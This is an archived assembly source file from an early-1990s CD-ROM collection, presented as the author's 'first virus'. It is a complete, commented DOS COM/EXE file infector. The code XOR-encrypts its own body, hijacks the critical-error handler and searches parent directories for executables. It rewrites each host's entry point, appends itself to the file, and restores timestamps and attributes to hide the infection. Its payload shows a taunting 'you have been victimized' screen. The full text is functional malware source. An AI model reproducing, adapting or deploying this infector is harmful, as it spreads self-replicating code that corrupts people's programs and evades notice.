home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / JOSHUA.ASM < prev    next >
Assembly Source File  |  1992-08-26  |  22KB  |  485 lines

  1. ;******************************************************************
  2. ;*                                                                *
  3. ;*     My First Virus, a simple non-overwriting COM and EXE       *
  4. ;*     infector.                                                  *
  5. ;*                                  by, Joshua                    *
  6. ;*                                                                *
  7. ;******************************************************************
  8.  
  9. ID                = 'SS'                        ; My ID
  10.  
  11.                   .model tiny                   ; Memory model
  12.                   .code                         ; Start Code
  13.                   org 100h                      ; Start of COM file
  14.  
  15. MAIN:             db 0e9h,00h,00h               ; Jmp START_VIRUS
  16.  
  17. START             proc near
  18.  
  19. DECRYPT:          mov bx,offset START_VIRUS     ; Find out our offset
  20.                   mov cx,(END_VIRUS-START_VIRUS)/2
  21. DECRYPT_LOOP:     db 2eh,81h,37h                ; XOR [BX],xxxx
  22. KEY               dw 0                          ; Crypt KEY
  23.                   add bx,2                      ; Increment offset
  24.                   dec cx                        ; Decrement counter
  25.                   jnz DECRYPT_LOOP              ; Continue until done
  26.  
  27. START_VIRUS:
  28.                   call FIND_OFFSET              ; Real start of virus
  29.  
  30. ; Calculate change in offset from host program.
  31.  
  32. FIND_OFFSET:      pop bp                        ; BP holds current IP
  33.                   sub bp, offset FIND_OFFSET    ; Calculate net change
  34.                                                 ; Change BP to start of
  35.                                                 ; virus code
  36.  
  37. ; Capture INT 24h Critical error handler.
  38.  
  39.                   push es                       ; Save ES
  40.                   mov ax,3524h                  ; DOS get interupt vector
  41.                   int 21h                       ; Call DOS to do it
  42.                   mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
  43.                   mov word ptr [bp+OLDINT24+2],es ; vector
  44.                   mov ah,25h                    ; DOS set interupt vector
  45.                   lea dx,[bp+NEWINT24]          ; Address of new interupt
  46.                   int 21h                       ; Call DOS to do it
  47.                   pop es                        ; Restore ES
  48.  
  49. ; Find out what kind of program I am, COM or EXE, by checking stack pointer.
  50. ; This is where I store my ID in an EXE infection.
  51.  
  52.                   cmp sp,ID                     ; COM or EXE?
  53.                   je RESTORE_EXE                ; I am an EXE file
  54.  
  55. ; Restore original bytes to the COM program.
  56.  
  57. RESTORE_COM:      lea si,[bp+COM_START]         ; Restore original 3 bytes
  58.                   mov di,100h                   ; to 100h, start of file
  59.                   push di                       ; Jmp to 100h when done
  60.                   movsw                         ; Copy 3 bytes
  61.                   movsb
  62.                   jmp short RESTORE_DONE
  63.  
  64. ; Restore original bytes to the EXE program.
  65.  
  66. RESTORE_EXE:      push ds                       ; Save original DS
  67.                   push es                       ; Save original ES
  68.                   push cs                       ; Set DS = CS
  69.                   pop ds
  70.                   push cs                       ; Set ES = CS
  71.                   pop es
  72.                   lea si,[bp+JMPSAVE]           ; Copy original CS:IP and
  73.                   lea di,[bp+JMPSAVE2]          ; SS:SP for return
  74.                   movsw                         ; Copy 8 bytes
  75.                   movsw
  76.                   movsw
  77.                   movsw
  78.  
  79. ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
  80. ; original command line parameters.
  81.  
  82. RESTORE_DONE:     lea dx,[bp+DTA]               ; Point to new DTA area
  83.                   mov ah,1ah                    ; DOS set DTA
  84.                   int 21h                       ; Call DOS to do it
  85.  
  86. ; Save original directory.
  87.  
  88.                   mov ah,47h                    ; DOS get current directory
  89.                   lea si,[bp+ORIG_DIR]          ; Store it here
  90.                   mov dl,0                      ; Current drive
  91.                   int 21h                       ; Call DOS to do it
  92.  
  93. ; Search for a file to infect.
  94.  
  95. SEARCH:           lea dx,[bp+EXE_MASK]          ; Search for any EXE file
  96.                   call FINDFIRST                ; Begin search
  97.                   lea dx,[bp+COM_MASK]          ; Search for any COM file
  98.                   call FINDFIRST                ; Begin search
  99.  
  100.                   mov ah,3bh                    ; DOS change directory
  101.                   lea dx,[bp+DOTDOT]            ; Go up one direcotry
  102.                   int 21h                       ; Call DOS to do it
  103.                   jnc SEARCH                    ; Go look for more files
  104.  
  105. ; Restore default DTA, original directory, and pass control back to
  106. ; original program.
  107.  
  108. QUIT:             mov ah,3bh                    ; DOS change directory
  109.                   lea dx,[bp+ORIG_DIR-1]        ; Point to original directory
  110.                   int 21h                       ; Call DOS to do it
  111.                   push ds                       ; Save DS
  112.                   mov ax,2524h                  ; DOS set interupt vector
  113.                   lds dx,[bp+OLDINT24]          ; Restore INT 24h
  114.                   int 21h                       ; Call DOS to do it
  115.                   pop ds                        ; Restore DS
  116.                   mov ah,1ah                    ; DOS set DTA
  117.                   mov dx,80h                    ; Restore original DTA
  118.                   cmp sp,ID-4                   ; EXE or COM? ES,DS on stack
  119.                   jz QUIT_EXE                   ; Pass control to host EXE
  120.  
  121. QUIT_COM:         int 21h                       ; Call DOS to set DTA
  122.                   retn                          ; Remember, 100h was on stack
  123.  
  124. QUIT_EXE:         pop es                        ; Restore original ES
  125.                   pop ds                        ; Restore original DS
  126.                   int 21h                       ; Call DOS to set DTA
  127.                   mov ax,es                     ; AX = begin of PSP segment
  128.                   add ax,16                     ; Add size of PSP to get CS
  129.                   add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
  130.                   add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
  131.                   cli                           ; Clear interrupts
  132.                   mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
  133.                   mov ss,ax                     ; Restore SS
  134.                   sti                           ; Set interrupts
  135.                   db 0eah                       ; Jump SSSS:OOOO
  136.  
  137. JMPSAVE2          dd ?                          ; CS:IP for EXE return
  138. STACKSAVE2        dd ?                          ; SS:SP for EXE return
  139. JMPSAVE           dd ?                          ; Original EXE CS:IP
  140. STACKSAVE         dd ?                          ; Original EXE SS:SP
  141.  
  142. CREATOR           db '[Joshua]'                 ; That's me!
  143.  
  144. ; DOS Findfirst / Findnext services
  145.  
  146. FINDFIRST:        mov ah,4eh                    ; DOS find first service
  147.                   mov cx,7                      ; Choose files w/ any attribute
  148. FINDNEXT:         int 21h                       ; Call DOS to do it
  149.                   jc END_SEARCH                 ; Quit if there are errors
  150.                                                 ; or no more files
  151.  
  152. ; Ok, if I am here, then I found a possible victim. First open the file
  153. ; for read only.
  154.  
  155.                   mov al,0                      ; DOS Open file, read only
  156.                   call OPEN                     ; Open the file
  157.  
  158. ; Read in the beginning bytes to check for previous infection and then close.
  159.  
  160.                   mov ah,3fh                    ; DOS Read file
  161.                   lea dx,[bp+BUFFER]            ; Save the original header
  162.                   mov cx,24                     ; Read 24 bytes
  163.                   int 21h                       ; Call DOS to do it
  164.                   mov ah,3eh                    ; DOS close file
  165.                   int 21h                       ; Call DOS to do it
  166.  
  167. ; Check if the file is an EXE.
  168.  
  169. CHECK_EXE:        cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
  170.                   jne CHECK_COM                 ; Nope, see if it's a COM
  171.                   cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
  172.                   je ANOTHER                    ; Yep, so try another
  173.                   jmp short INFECT_EXE          ; We got one! Go infect it!
  174.  
  175.  
  176. ; Check if the file is COMMAND.COM
  177.  
  178. CHECK_COM:        cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
  179.                   jz ANOTHER                    ; If it is, try another file
  180.  
  181. ; Now, check for previous infection by checking for our presence at
  182. ; the end of the file.
  183.  
  184.                   mov ax,word ptr [bp+DTA+26]   ; Put total filesize in AX
  185.                   cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
  186.                   jle ANOTHER                   ; If so, try another
  187.                   mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
  188.                   add cx,END_VIRUS-DECRYPT+3    ; Add virus size to jmp offset
  189.                   cmp ax,cx                     ; Compare file size's
  190.                   jnz INFECT_COM                ; If healthy, go infect it
  191.  
  192. ANOTHER:          mov ah,4fh                    ; Otherwise find another
  193.                   jmp short FINDNEXT            ; possible victim
  194.  
  195. END_SEARCH:       retn                          ; No files found
  196.  
  197. ;*** Subroutine INFECT_COM ***
  198.  
  199. INFECT_COM:
  200.  
  201. ; Save the first three bytes of the COM file
  202.  
  203.                   lea si,[bp+BUFFER]            ; Start of first 3 bytes
  204.                   lea di,[bp+COM_START]         ; Store them here
  205.                   movsw                         ; Transfer the 3 bytes
  206.                   movsb
  207.  
  208. ; Calculate jump offset for header of victim so it will run virus first.
  209. ; AX has the filesize. Store new JMP and OFFSET in the buffer.
  210.  
  211.                   mov cx,3                      ; No. bytes to write in header
  212.                   sub ax,cx                     ; Filesize - jmp_offset
  213.                   mov byte ptr [si-3],0e9h      ; Store new JMP command
  214.                   mov word ptr [si-2],ax        ; plus offset
  215.                   add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET
  216.                   push ax                       ; Save it for later
  217.                   jmp DONE_INFECTION            ; We're done!
  218.  
  219. ;*** Subroutine INFECT_EXE ***
  220.  
  221. INFECT_EXE:
  222.  
  223. ; Save original CS:IP and SS:SP.
  224.  
  225.                   les ax,dword ptr [bp+BUFFER+20]  ; Get original CS:IP
  226.                   mov word ptr [bp+JMPSAVE],ax     ; Store IP
  227.                   mov word ptr [bp+JMPSAVE+2],es   ; Store CS
  228.                   les ax,dword ptr [bp+BUFFER+14]  ; Get original SS:SP
  229.                   mov word ptr [bp+STACKSAVE],es   ; Store SP
  230.                   mov word ptr [bp+STACKSAVE+2],ax ; Store SS
  231.  
  232. ; Get get the header size in bytes.
  233.  
  234.                   mov ax,word ptr [bp+BUFFER+8] ; Get header size
  235.                   mov cl,4                      ; Convert paragraphs to bytes
  236.                   shl ax,cl                     ; Multiply by 16
  237.                   xchg ax,bx                    ; Put header size in BX
  238.  
  239. ; Get file size.
  240.  
  241.                   les ax,[bp+offset DTA+26]     ; Get filesize to
  242.                   mov dx,es                     ; DX:AX format
  243.  
  244.                   push ax                       ; Save filesize
  245.                   push dx
  246.  
  247.                   sub ax,bx                     ; Subtract header size
  248.                   sbb dx,0                      ; from filesize
  249.  
  250.                   mov cx,16                     ; Convert to SEGMENT:OFFSET
  251.                   div cx                        ; form
  252.  
  253. ; Store new entry point (CS:IP) in header.
  254.  
  255.                   mov word ptr [bp+BUFFER+20],dx; Store IP
  256.                   mov word ptr [bp+BUFFER+22],ax; Store CS
  257.  
  258.                   add dx,START_VIRUS-DECRYPT    ; New START_VIRUS offset
  259.                   mov bx,dx                     ; Hold it for now
  260.  
  261. ; Store new stack frame (SS:SP) in header.
  262.  
  263.                   mov word ptr [bp+BUFFER+14],ax; Store SS
  264.                   mov word ptr [bp+BUFFER+16],ID; Store SP
  265.  
  266.                   pop dx                        ; Get back filesize
  267.                   pop ax
  268.  
  269.                   add ax,END_VIRUS-START_VIRUS  ; Add virus size
  270.                   adc dx,0                      ; to filesize
  271.  
  272.                   push ax                       ; Save AX
  273.                   mov cl,9                      ; Divide AX
  274.                   shr ax,cl                     ; by 512
  275.                   ror dx,cl
  276.                   stc                           ; Set carry flag
  277.                   adc dx,ax                     ; Add with carry
  278.                   pop ax                        ; Get back AX
  279.                   and ah,1                      ; Mod 512
  280.  
  281. ; Store new filesize in header.
  282.  
  283.                   mov word ptr [bp+BUFFER+4],dx ; Store new filesize
  284.                   mov word ptr [bp+BUFFER+2],ax
  285.  
  286.                   push cs                       ; Restore ES
  287.                   pop es
  288.                   mov cx,24                     ; No. bytes to write in header
  289.  
  290.                   push bx                       ; Save START_VIRUS offset
  291.  
  292. ; Write virus to victim and restore the file's original timestamp, datestamp,
  293. ; and attributes. These values were stored in the DTA by the
  294. ; Findfirst / Findnext services.
  295.  
  296. DONE_INFECTION:
  297.                   push cx                       ; Save no. bytes to write
  298.                   xor cx,cx                     ; Clear attributes
  299.                   call SET_ATTR                 ; Set attributes
  300.  
  301.                   mov al,2                      ; DOS open file for read/write
  302.                   call OPEN                     ; Open the file
  303.  
  304. ; Write the new header at the beginning of the file.
  305.  
  306.                   mov ah,40h                    ; DOS write to file
  307.                   pop cx                        ; Number of bytes to write
  308.                   lea dx,[bp+BUFFER]            ; Point to the bytes to write
  309.                   int 21h                       ; Call DOS to do it
  310.  
  311. ; Move to end of file.
  312.  
  313.                   mov ax,4202h                  ; DOS set read/write pointer
  314.                   xor cx,cx                     ; Set offset move to zero
  315.                   cwd                           ; Equivalent to xor dx,dx
  316.                   int 21h                       ; Call DOS to do it
  317.  
  318. ; Append virus to end of file.
  319.  
  320.                   mov ah,2ch                    ; DOS get time
  321.                   int 21h                       ; Call DOS to do it
  322.                   mov [bp+KEY],dx               ; Save sec + 1/100 sec
  323.                                                 ; as the new KEY
  324.  
  325.                   lea di,[bp+APPEND]            ; to the heap
  326.                   mov cx,START_VIRUS-DECRYPT    ; Number of bytes to move
  327.                   mov al,53h                    ; Push BX and store it
  328.                   stosb                         ; in the append routine
  329.                   lea si,[bp+DECRYPT]           ; Move Crypt routines
  330.                   push si                       ; Save SI
  331.                   push cx                       ; Save CX
  332.               rep movsb                         ; Transfer the data
  333.  
  334.                   lea si,[bp+WRITE_START]       ; Now copy the write
  335.                   mov cx,WRITE_END-WRITE_START  ; routine to the heap
  336.               rep movsb                         ; Transfer the data
  337.  
  338.                   pop cx                        ; Get back
  339.                   pop si                        ; CX and SI
  340.               rep movsb                         ; Recopy Crypt routine
  341.  
  342.                   mov ax,0c35bh                 ; Tack a POP BX and
  343.                   stosw                         ; RETN on the end
  344.  
  345.                   pop ax                        ; New START_VIRUS offset
  346.                   mov word ptr [bp+DECRYPT+1],ax; Store new offset
  347.  
  348.                   call APPEND                   ; Write the file
  349.  
  350. ; Restore original creation date and time.
  351.  
  352.                   mov ax,5701h                  ; DOS set file date & time
  353.                   mov cx,word ptr [bp+DTA+22]   ; Set time
  354.                   mov dx,word ptr [bp+DTA+24]   ; Set date
  355.                   int 21h                       ; Call DOS to do it
  356.  
  357. ; Close the file.
  358.  
  359.                   mov ah,3eh                    ; DOS close file
  360.                   int 21h                       ; Call DOS to do it
  361.  
  362. ; Restore original file attributes.
  363.  
  364.                   mov cx,word ptr [bp+DTA+21]   ; Get original file attribute
  365.                   call SET_ATTR                 ; Set attribute
  366.  
  367.                   pop bx                        ; Take CALL off stack
  368.  
  369.  
  370. ; ****** B O M B  S E C T I O N ******
  371.  
  372. ; Check to see if the virus is ready to activate.
  373. ; Put all activation tests and bombs here.
  374.  
  375. CONDITIONS:   ;   mov ah,2ah                    ; DOS get date
  376.               ;   int 21h                       ; Call DOS to do it
  377.               ;   cmp dx,1001h                  ; Check for Oct 1st
  378.               ;   jl BOMB_DONE                  ; Not time yet
  379.               ;   mov ah,2ch                    ; DOS get time
  380.               ;   int 21h                       ; Call DOS to do it
  381.               ;   cmp cl,25h                    ; Check for 25 min past
  382.               ;   jl BOMB_DONE                  ; Not time yet
  383.  
  384. BOMB:             mov ah,3h                     ; BIOS find cursor position
  385.                   mov bh,0                      ; Video page 0
  386.                   int 10h                       ; Call BIOS to do it
  387.                   push dx                       ; Save original Row and Column
  388.                   mov cx,6                      ; Number of lines to print
  389.                   lea si,[bp+VERSE]             ; Location of VERSE
  390.                   mov dx,080ah                  ; Row and Column of output
  391. PRINTLOOP:        mov ah,2h                     ; BIOS set cursor
  392.                   int 10h                       ; Set cursor
  393.                   push dx                       ; Save Row and Column
  394.                   mov ah,9h                     ; DOS print string
  395.                   mov dx,si                     ; Location of VERSE
  396.                   int 21h                       ; Call DOS to print it
  397.                   pop dx                        ; Get Row and Column
  398.                   inc dh                        ; Increment Row
  399.                   add si,54                     ; Go to next line of VERSE
  400.                   loop PRINTLOOP                ; Print all lines
  401.  
  402.                   mov ah,00h                    ; Read character from keybd
  403.                   int 16h
  404.  
  405.                   pop dx                        ; Get original Row Column
  406.                   mov ah,2h                     ; BIOS set cursor
  407.                   int 10h                       ; Call BIOS to do it
  408.  
  409. BOMB_DONE:        jmp QUIT                      ; Go back to host program
  410.  
  411. VERSE:  db  '╓───────────────────────────────────────────────────╖$'
  412.         db  '║  Guess what ???                                   ║$'
  413.         db  '║     You have been victimized by a virus!!! Do not ║$'
  414.         db  '║     try to reboot your computer or even turn it   ║$'
  415.         db  '║     off.  You might as well read this and weep!   ║$'
  416.         db  '╙───────────────────────────────────────────────────╜',7,7,'$'
  417.  
  418. ; Write routine to append the virus to the end of the file.
  419.  
  420. WRITE_START:
  421.                   pop bx                        ; Get back file handle
  422.                   push bx                       ; Save it again
  423.                   mov ah,40h                    ; DOS write to file
  424.                   mov cx,END_VIRUS-DECRYPT      ; Length of virus
  425.                   lea dx,[bp+DECRYPT]           ; Start from beginning of virus
  426.                   int 21h                       ; Call DOS to do it
  427. WRITE_END:
  428.  
  429.  
  430. ; New INT 24h handler.
  431.  
  432. NEWINT24:         mov al,3                      ; Fail call
  433.                   iret                          ; Return
  434.  
  435.  
  436. ;*** Subroutine OPEN ***
  437. ; Open a file.  Takes AL as parameter.
  438.  
  439. OPEN              proc near
  440.                   mov ah,3dh                    ; DOS open file, read/write
  441.                   lea dx,[bp+DTA+30]            ; Point to filename we found
  442.                   int 21h                       ; Call DOS to do it
  443.                   xchg ax,bx                    ; Put file handle in BX
  444.                   retn                          ; Return
  445. OPEN              endp
  446.  
  447. ;*** Subroutine SET_ATTR ***
  448. ; Takes CX as a parameter
  449.  
  450. SET_ATTR          proc near
  451.                   mov ax,4301h                  ; DOS change file attr
  452.                   lea dx,[bp+DTA+30]            ; Point to file name
  453.                   int 21h                       ; Call DOS
  454.                   retn                          ; Return
  455. SET_ATTR          endp
  456.  
  457.  
  458. ; This area will hold all variables to be encrypted
  459.  
  460. COM_MASK          db '*.com',0                  ; COM file mask
  461. EXE_MASK          db '*.exe',0                  ; EXE file mask
  462. DOTDOT            db '..',0                     ; Go up one directory
  463. COM_START         db 0cdh,20h,0                 ; Header for infected file
  464. BACKSLASH         db '\'                        ; Backslash for directory
  465.  
  466. START             endp
  467.  
  468. END_VIRUS         equ $                         ; Mark end of virus code
  469.  
  470. ; This data area is a scratch area and is not included in virus code.
  471.  
  472. ORIG_DIR          db 64 dup(?)                  ; Holds original directory
  473.  
  474. OLDINT24          dd ?                          ; Storage for old INT 24 vector
  475.  
  476. BUFFER            db 24 dup(?)                  ; Read buffer and EXE header
  477.  
  478. DTA               db 43 dup(?)                  ; New DTA location
  479.  
  480. APPEND:           db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?)
  481.  
  482. ENDHEAP:
  483.  
  484.                   end MAIN
  485.